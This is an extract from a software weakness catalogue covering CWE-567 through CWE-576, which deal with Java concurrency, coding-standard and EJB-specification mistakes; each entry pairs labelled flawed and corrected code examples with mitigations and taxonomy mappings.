The product does not properly synchronize shared data, such as static variables across threads, which can lead to undefined behavior and unpredictable data changes.

Extended Description

Within servlets, shared static variables are not protected from concurrent access, but servlets are multithreaded. This is a typical programming mistake in J2EE applications, since the multithreading is handled by the framework. When a shared variable can be influenced by an attacker, one thread could wind up modifying the variable to contain data that is not valid for a different thread that is also using the data within the variable.

Note that this weakness is not unique to servlets.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	820	Missing Synchronization	1729
CanPrecede	B	488	Exposure of Data Element to Wrong Session	1176

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ChildOf	C	662	Improper Synchronization	1457

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf	C	662	Improper Synchronization	1457

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Read Application Data Modify Application Data DoS: Instability DoS: Crash, Exit, or Restart *If the shared variable contains sensitive data, it may be manipulated or displayed in another user session. If this data is used to control the application, its value can be manipulated to cause the application to crash or perform poorly.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Remove the use of static variables used between servlets. If this cannot be avoided, use synchronized access for these variables.

Demonstrative Examples

Example 1:

The following code implements a basic counter for how many times the page has been accesed.

Example Language: Java *(Bad)*

```
public static class Counter extends HttpServlet {
  static int count = 0;
  protected void doGet(HttpServletRequest in, HttpServletResponse out)
  throws ServletException, IOException {
    out.setContentType("text/plain");
    PrintWriter p = out.getWriter();
    count++;
    p.println(count + " hits so far!");
  }
}
```

Consider when two separate threads, Thread A and Thread B, concurrently handle two different requests:

- Assume this is the first occurrence of doGet, so the value of count is 0.
- doGet() is called within Thread A.
- The execution of doGet() in Thread A continues to the point AFTER the value of the count variable is read, then incremented, but BEFORE it is saved back to count. At this stage, the incremented value is 1, but the value of count is 0.
- doGet() is called within Thread B, and due to a higher thread priority, Thread B progresses to the point where the count variable is accessed (where it is still 0), incremented, and saved. After the save, count is 1.
- Thread A continues. It saves the intermediate, incremented value to the count variable - but the incremented value is 1, so count is "re-saved" to 1.

At this point, both Thread A and Thread B print that one hit has been seen, even though two separate requests have been processed. The value of count should be 2, not 1.

While this example does not have any real serious implications, if the shared variable in question is used for resource tracking, then resource consumption could occur. Other scenarios exist.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	852	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 9 - Visibility and Atomicity (VNA)	844	2387
MemberOf	V	884	CWE Cross-section	884	2588
MemberOf	C	986	SFP Secondary Cluster: Missing Lock	888	2432
MemberOf	C	1142	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 08. Visibility and Atomicity (VNA)	1133	2469
MemberOf	C	1401	Comprehensive Categorization: Concurrency	1400	2547

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	VNA00-J		Ensure visibility when accessing shared primitive variables
The CERT Oracle Secure Coding Standard for Java (2011)	VNA02-J		Ensure that compound operations on shared variables are atomic
Software Fault Patterns	SFP19		Missing Lock

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
25	Forced Deadlock

CWE-568: finalize() Method Without super.finalize()

Weakness ID : 568
Structure : Simple
Abstraction : Variant

Description

The product contains a finalize() method that does not call super.finalize().

Extended Description

The Java Language Specification states that it is a good practice for a finalize() method to call super.finalize().

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	573	Improper Following of Specification by Caller	1307
ChildOf	B	459	Incomplete Cleanup	1106

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Call the super.finalize() method.

Phase: Testing

Use static analysis tools to spot such issues in your code.

Demonstrative Examples

Example 1:

The following method omits the call to super.finalize().

Example Language: Java *(Bad)*

```
protected void finalize() {
  discardNative();
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	850	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 7 - Methods (MET)	844	2385
MemberOf	C	1002	SFP Secondary Cluster: Unexpected Entry Points	888	2442
MemberOf	C	1140	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 06. Methods (MET)	1133	2468
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2566

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	MET12-J		Do not use finalizers
Software Fault Patterns	SFP28		Unexpected access points

CWE-570: Expression is Always False

Weakness ID : 570
Structure : Simple
Abstraction : Base

Description

The product contains an expression that will always evaluate to false.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1558
CanPrecede	B	561	Dead Code	1283

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	569	Expression Issues	2351

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation Varies by Context	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Testing

Use Static Analysis tools to spot such conditions.

Demonstrative Examples

Example 1:

In the following Java example the updateUserAccountOrder() method used within an e-business product ordering/inventory application will validate the product number that was ordered and the user account number. If they are valid, the method will update the product inventory, the user account, and the user order appropriately.

Example Language: Java *(Bad)*

```
public void updateUserAccountOrder(String productNumber, String accountNumber) {
  boolean isValidProduct = false;
  boolean isValidAccount = false;
  if (validProductNumber(productNumber)) {
    isValidProduct = true;
    updateInventory(productNumber);
  }
  else {
    return;
  }
  if (validAccountNumber(accountNumber)) {
    isValidProduct = true;
    updateAccount(accountNumber, productNumber);
  }
  if (isValidProduct && isValidAccount) {
    updateAccountOrder(accountNumber, productNumber);
  }
}
```

However, the method never sets the isValidAccount variable after initializing it to false so the isValidProduct is mistakenly used twice. The result is that the expression "isValidProduct && isValidAccount" will always evaluate to false, so the updateAccountOrder() method will never be invoked. This will create serious problems with the product ordering application since the user account and inventory databases will be updated but the order will not be updated.

This can be easily corrected by updating the appropriate variable.

Example Language: *(Good)*

```
...
```

```
if (validAccountNumber(accountNumber)) {
  isValidAccount = true;
  updateAccount(accountNumber, productNumber);
}
...
```

Example 2:

In the following example, the hasReadWriteAccess method uses bit masks and bit operators to determine if a user has read and write privileges for a particular process. The variable mask is defined as a bit mask from the BIT_READ and BIT_WRITE constants that have been defined. The variable mask is used within the predicate of the hasReadWriteAccess method to determine if the userMask input parameter has the read and write bits set.

Example Language: C *(Bad)*

```
#define BIT_READ 0x0001 // 00000001
#define BIT_WRITE 0x0010 // 00010000
unsigned int mask = BIT_READ & BIT_WRITE; /* intended to use "|" */
// using "&", mask = 00000000
// using "|", mask = 00010001
// determine if user has read and write access
int hasReadWriteAccess(unsigned int userMask) {
  // if the userMask has read and write bits set
  // then return 1 (true)
  if (userMask & mask) {
    return 1;
  }
  // otherwise return 0 (false)
  return 0;
}
```

However the bit operator used to initialize the mask variable is the AND operator rather than the intended OR operator (CWE-480), this resulted in the variable mask being set to 0. As a result, the if statement will always evaluate to false and never get executed.

The use of bit masks, bit operators and bitwise operations on variables can be difficult. If possible, try to use frameworks or libraries that provide appropriate functionality and abstract the implementation.

Example 3:

In the following example, the updateInventory method used within an e-business inventory application will update the inventory for a particular product. This method includes an if statement with an expression that will always evaluate to false. This is a common practice in C/C++ to introduce debugging statements quickly by simply changing the expression to evaluate to true and then removing those debugging statements by changing expression to evaluate to false. This is also a common practice for disabling features no longer needed.

Example Language: C *(Bad)*

```
int updateInventory(char* productNumber, int numberOfItems) {
  int initCount = getProductCount(productNumber);
  int updatedCount = initCount + numberOfItems;
  int updated = updateProductCount(updatedCount);
  // if statement for debugging purposes only
  if (1 == 0) {
    char productName[128];
    productName = getProductName(productNumber);
    printf("product %s initially has %d items in inventory \n", productName, initCount);
    printf("adding %d items to inventory for %s \n", numberOfItems, productName);
    if (updated == 0) {
      printf("Inventory updated for product %s to %d items \n", productName, updatedCount);
    }
    else {
            printf("Inventory not updated for product: %s \n", productName);
        }
    }
    return updated;
}
```

Using this practice for introducing debugging statements or disabling features creates dead code that can cause problems during code maintenance and potentially introduce vulnerabilities. To avoid using expressions that evaluate to false for debugging purposes a logging API or debugging API should be used for the output of debugging messages.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	747	CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)	734	2371
MemberOf	C	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	868	2402
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2440
MemberOf	C	1307	CISQ Quality Measures - Maintainability	1305	2505
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2506
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2559

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	MSC00-C		Compile cleanly at high warning levels
Software Fault Patterns	SFP1		Glitch in computation

CWE-571: Expression is Always True

Weakness ID : 571
Structure : Simple
Abstraction : Base

Description

The product contains an expression that will always evaluate to true.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1558
CanPrecede	B	561	Dead Code	1283

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	569	Expression Issues	2351

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation Varies by Context	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Testing

Use Static Analysis tools to spot such conditions.

Demonstrative Examples

Example 1:

In the following Java example the updateInventory() method used within an e-business product ordering/inventory application will check if the input product number is in the store or in the warehouse. If the product is found, the method will update the store or warehouse database as well as the aggregate product database. If the product is not found, the method intends to do some special processing without updating any database.

Example Language: Java *(Bad)*

```java
public void updateInventory(String productNumber) {
  boolean isProductAvailable = false;
  boolean isDelayed = false;
  if (productInStore(productNumber)) {
    isProductAvailable = true;
    updateInStoreDatabase(productNumber);
  }
  else if (productInWarehouse(productNumber)) {
    isProductAvailable = true;
    updateInWarehouseDatabase(productNumber);
  }
  else {
    isProductAvailable = true;
  }
  if ( isProductAvailable ) {
    updateProductDatabase(productNumber);
  }
  else if ( isDelayed ) {
    /* Warn customer about delay before order processing */
    ...
  }
}
```

However, the method never sets the isDelayed variable and instead will always update the isProductAvailable variable to true. The result is that the predicate testing the isProductAvailable boolean will always evaluate to true and therefore always update the product database. Further, since the isDelayed variable is initialized to false and never changed, the expression always evaluates to false and the customer will never be warned of a delay on their product.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	747	CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)	734	2371
MemberOf	C	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	868	2402
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2440
MemberOf	C	1307	CISQ Quality Measures - Maintainability	1305	2505
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2506
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2559

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	MSC00-C		Compile cleanly at high warning levels
Software Fault Patterns	SFP1		Glitch in computation

CWE-572: Call to Thread run() instead of start()

Weakness ID : 572
Structure : Simple
Abstraction : Variant

Description

The product calls a thread's run() method instead of calling start(), which causes the code to run in the thread of the caller instead of the callee.

Extended Description

In most cases a direct call to a Thread object's run() method is a bug. The programmer intended to begin a new thread of control, but accidentally called run() instead of start(), so the run() method will execute in the caller's thread of control.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	821	Incorrect Synchronization	1731

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Scope	Impact	Likelihood
	Varies by Context	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Use the start() method instead of the run() method.

Demonstrative Examples

Example 1:

The following excerpt from a Java program mistakenly calls run() instead of start().

Example Language: Java *(Bad)*

```
Thread thr = new Thread() {
  public void run() {
    ...
  }
};
thr.run();
```

Affected Resources

- System Process

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	854	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 11 - Thread APIs (THI)	844	2388
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	2441
MemberOf	C	1144	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 10. Thread APIs (THI)	1133	2470
MemberOf	C	1401	Comprehensive Categorization: Concurrency	1400	2547

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	THI00-J		Do not invoke Thread.run()
Software Fault Patterns	SFP3		Use of an improper API

CWE-573: Improper Following of Specification by Caller

Weakness ID : 573
Structure : Simple
Abstraction : Class

Description

The product does not follow or incorrectly follows the specifications as required by the implementation language, environment, framework, protocol, or platform.

Extended Description

When leveraging external functionality, such as an API, it is important that the caller does so in accordance with the requirements of the external functionality or else unintended behaviors may result, possibly leaving the system vulnerable to any number of exploits.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1558
ParentOf	V	103	Struts: Incomplete validate() Method Definition	254
ParentOf	V	104	Struts: Form Bean Does Not Extend Validation Class	257
ParentOf	V	243	Creation of chroot Jail Without Changing Working Directory	596
ParentOf	B	253	Incorrect Check of Function Return Value	620
ParentOf	B	296	Improper Following of a Certificate's Chain of Trust	726
ParentOf	B	304	Missing Critical Step in Authentication	745
ParentOf	B	325	Missing Cryptographic Step	801
ParentOf	V	329	Generation of Predictable IV with CBC Mode	818
ParentOf	B	358	Improperly Implemented Security Check for Standard	888
ParentOf	B	475	Undefined Behavior for Input to API	1138
ParentOf	V	568	finalize() Method Without super.finalize()	1299
ParentOf	V	577	EJB Bad Practices: Use of Sockets	1314
ParentOf	V	578	EJB Bad Practices: Use of Class Loader	1316
ParentOf	V	579	J2EE Bad Practices: Non-serializable Object Stored in Session	1318
ParentOf	V	580	clone() Method Without super.clone()	1319
ParentOf	V	581	Object Model Violation: Just One of Equals and Hashcode Defined	1321
ParentOf	B	628	Function Call with Incorrectly Specified Arguments	1407
ParentOf	C	675	Multiple Operations on Resource in Single-Operation Context	1496
ParentOf	B	694	Use of Multiple Resources with Duplicate Identifier	1531
ParentOf	B	695	Use of Low-Level Functionality	1533

Weakness Ordinalities

Primary :

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation Varies by Context	

Scope	Impact	Likelihood

Observed Examples

Reference	Description
CVE-2006-7140	Crypto implementation removes padding when it shouldn't, allowing forged signatures *https://www.cve.org/CVERecord?id=CVE-2006-7140*
CVE-2006-4339	Crypto implementation removes padding when it shouldn't, allowing forged signatures *https://www.cve.org/CVERecord?id=CVE-2006-4339*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	850	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 7 - Methods (MET)	844	2385
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	2441
MemberOf	C	1140	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 06. Methods (MET)	1133	2468
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2559

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	MET10-J		Follow the general contract when implementing the compareTo() method

CWE-574: EJB Bad Practices: Use of Synchronization Primitives

Weakness ID : 574
Structure : Simple
Abstraction : Variant

Description

The product violates the Enterprise JavaBeans (EJB) specification by using thread synchronization primitives.

Extended Description

The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the product violates the following EJB guideline: "An enterprise bean must not use thread synchronization primitives to synchronize execution of multiple instances." The specification justifies this requirement in the following way: "This rule is required to ensure consistent runtime semantics because while some EJB containers may use a single JVM to execute all enterprise bean's instances, others may distribute the instances across multiple JVMs."

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	695	Use of Low-Level Functionality	1533
ChildOf	B	821	Incorrect Synchronization	1731

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Potential Mitigations

Phase: Implementation

Do not use Synchronization Primitives when writing EJBs.

Demonstrative Examples

Example 1:

In the following Java example a Customer Entity EJB provides access to customer information in a database for a business application.

Example Language: Java *(Bad)*

```
@Entity
public class Customer implements Serializable {
  private String id;
  private String firstName;
  private String lastName;
  private Address address;
  public Customer() {...}
  public Customer(String id, String firstName, String lastName) {...}
  @Id
  public String getCustomerId() {...}
  public synchronized void setCustomerId(String id) {...}
  public String getFirstName() {...}
  public synchronized void setFirstName(String firstName) {...}
  public String getLastName() {...}
  public synchronized void setLastName(String lastName) {...}
  @OneToOne()
  public Address getAddress() {...}
  public synchronized void setAddress(Address address) {...}
}
```

However, the customer entity EJB uses the synchronized keyword for the set methods to attempt to provide thread safe synchronization for the member variables. The use of synchronized methods violate the restriction of the EJB specification against the use synchronization primitives within EJBs. Using synchronization primitives may cause inconsistent behavior of the EJB when used within different EJB containers.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	2441
MemberOf	C	1401	Comprehensive Categorization: Concurrency	1400	2547

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP3		Use of an improper API

CWE-575: EJB Bad Practices: Use of AWT Swing

Weakness ID : 575
Structure : Simple
Abstraction : Variant

Description

The product violates the Enterprise JavaBeans (EJB) specification by using AWT/Swing.

Extended Description

The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the product violates the following EJB guideline: "An enterprise bean must not use the AWT functionality to attempt to output information to a display, or to input information from a keyboard." The specification justifies this requirement in the following way: "Most servers do not allow direct interaction between an application program and a keyboard/display attached to the server system."

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	695	Use of Low-Level Functionality	1533

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Potential Mitigations

Phase: Architecture and Design

Do not use AWT/Swing when writing EJBs.

Demonstrative Examples

Example 1:

The following Java example is a simple converter class for converting US dollars to Yen. This converter class demonstrates the improper practice of using a stateless session Enterprise JavaBean that implements an AWT Component and AWT keyboard event listener to retrieve keyboard input from the user for the amount of the US dollars to convert to Yen.

Example Language: Java *(Bad)*

```
@Stateless
public class ConverterSessionBean extends Component implements KeyListener, ConverterSessionRemote {
  /* member variables for receiving keyboard input using AWT API */
  ...
  private StringBuffer enteredText = new StringBuffer();
  /* conversion rate on US dollars to Yen */
  private BigDecimal yenRate = new BigDecimal("115.3100");
  public ConverterSessionBean() {
    super();
    /* method calls for setting up AWT Component for receiving keyboard input */
    ...
    addKeyListener(this);
  }
  public BigDecimal dollarToYen(BigDecimal dollars) {
    BigDecimal result = dollars.multiply(yenRate);
    return result.setScale(2, BigDecimal.ROUND_DOWN);
  }
  /* member functions for implementing AWT KeyListener interface */
  public void keyTyped(KeyEvent event) {
    ...
  }
  public void keyPressed(KeyEvent e) {
  }
  public void keyReleased(KeyEvent e) {
  }
  /* member functions for receiving keyboard input and displaying output */
  public void paint(Graphics g) {...}
  ...
}
```

This use of the AWT and Swing APIs within any kind of Enterprise JavaBean not only violates the restriction of the EJB specification against using AWT or Swing within an EJB but also violates the intended use of Enterprise JavaBeans to separate business logic from presentation logic.

The Stateless Session Enterprise JavaBean should contain only business logic. Presentation logic should be provided by some other mechanism such as Servlets or Java Server Pages (JSP) as in the following Java/JSP example.

Example Language: Java *(Good)*

```
@Stateless
public class ConverterSessionBean implements ConverterSessionRemoteInterface {
  /* conversion rate on US dollars to Yen */
  private BigDecimal yenRate = new BigDecimal("115.3100");
  public ConverterSessionBean() {
  }
  /* remote method to convert US dollars to Yen */
  public BigDecimal dollarToYen(BigDecimal dollars) {
    BigDecimal result = dollars.multiply(yenRate);
    return result.setScale(2, BigDecimal.ROUND_DOWN);
  }
}
```

Example Language: JSP *(Good)*

```
<%@ page import="converter.ejb.Converter, java.math.*, javax.naming.*"%>
<%!
  private Converter converter = null;
  public void jspInit() {
    try {
      InitialContext ic = new InitialContext();
      converter = (Converter) ic.lookup(Converter.class.getName());
    } catch (Exception ex) {
      System.out.println("Couldn't create converter bean."+ ex.getMessage());
    }
  }
  public void jspDestroy() {
    converter = null;
  }
%>
<html>
  <head><title>Converter</title></head>
  <body bgcolor="white">
    <h1>Converter</h1>
    <hr>
    <p>Enter an amount to convert:</p>
    <form method="get">
      <input type="text" name="amount" size="25"><br>
      <p>
      <input type="submit" value="Submit">
      <input type="reset" value="Reset">
    </form>
    <%
      String amount = request.getParameter("amount");
      if ( amount != null && amount.length() > 0 ) {
        BigDecimal d = new BigDecimal(amount);
        BigDecimal yenAmount = converter.dollarToYen(d);
    %>
    <p>
    <%= amount %> dollars are <%= yenAmount %> Yen.
    <p>
    <%
      }
    %>
  </body>
</html>
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	2441
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2559

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP3		Use of an improper API

CWE-576: EJB Bad Practices: Use of Java I/O

Weakness ID : 576
Structure : Simple
Abstraction : Variant

Description

The product violates the Enterprise JavaBeans (EJB) specification by using the java.io package.

Extended Description

The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the product violates the following EJB guideline: "An enterprise bean must not use the java.io package to attempt to access files and directories in the file system." The specification justifies this requirement in the following way: "The file system APIs are not well-suited for business components to access data. Business components should use a resource manager API, such as JDBC, to store data."

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	695	Use of Low-Level Functionality	1533

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Potential Mitigations

Phase: Implementation

Do not use Java I/O when writing EJBs.

Demonstrative Examples

Example 1:

The following Java example is a simple stateless Enterprise JavaBean that retrieves the interest rate for the number of points for a mortgage. In this example, the interest rates for various points are retrieved from an XML document on the local file system, and the EJB uses the Java I/O API to retrieve the XML document from the local file system.

Example Language: Java *(Bad)*

```
@Stateless
public class InterestRateBean implements InterestRateRemote {
  private Document interestRateXMLDocument = null;
  private File interestRateFile = null;
  public InterestRateBean() {
    try {
      /* get XML document from the local filesystem */
      interestRateFile = new File(Constants.INTEREST_RATE_FILE);
      if (interestRateFile.exists())
      {
        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
        DocumentBuilder db = dbf.newDocumentBuilder();
        interestRateXMLDocument = db.parse(interestRateFile);
      }
    } catch (IOException ex) {...}
  }
  public BigDecimal getInterestRate(Integer points) {
    return getInterestRateFromXML(points);
  }
  /* member function to retrieve interest rate from XML document on the local file system */
  private BigDecimal getInterestRateFromXML(Integer points) {...}
}
```

This use of the Java I/O API within any kind of Enterprise JavaBean violates the EJB specification by using the java.io package for accessing files within the local filesystem.

An Enterprise JavaBean should use a resource manager API for storing and accessing data. In the following example, the private member function getInterestRateFromXMLParser uses an XML parser API to retrieve the interest rates.

Example Language: Java *(Good)*

```
@Stateless
public class InterestRateBean implements InterestRateRemote {
    public InterestRateBean() {
    }
    public BigDecimal getInterestRate(Integer points) {
        return getInterestRateFromXMLParser(points);
    }
    /* member function to retrieve interest rate from XML document using an XML parser API */
    private BigDecimal getInterestRateFromXMLParser(Integer points) {...}
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	2441
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2559

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
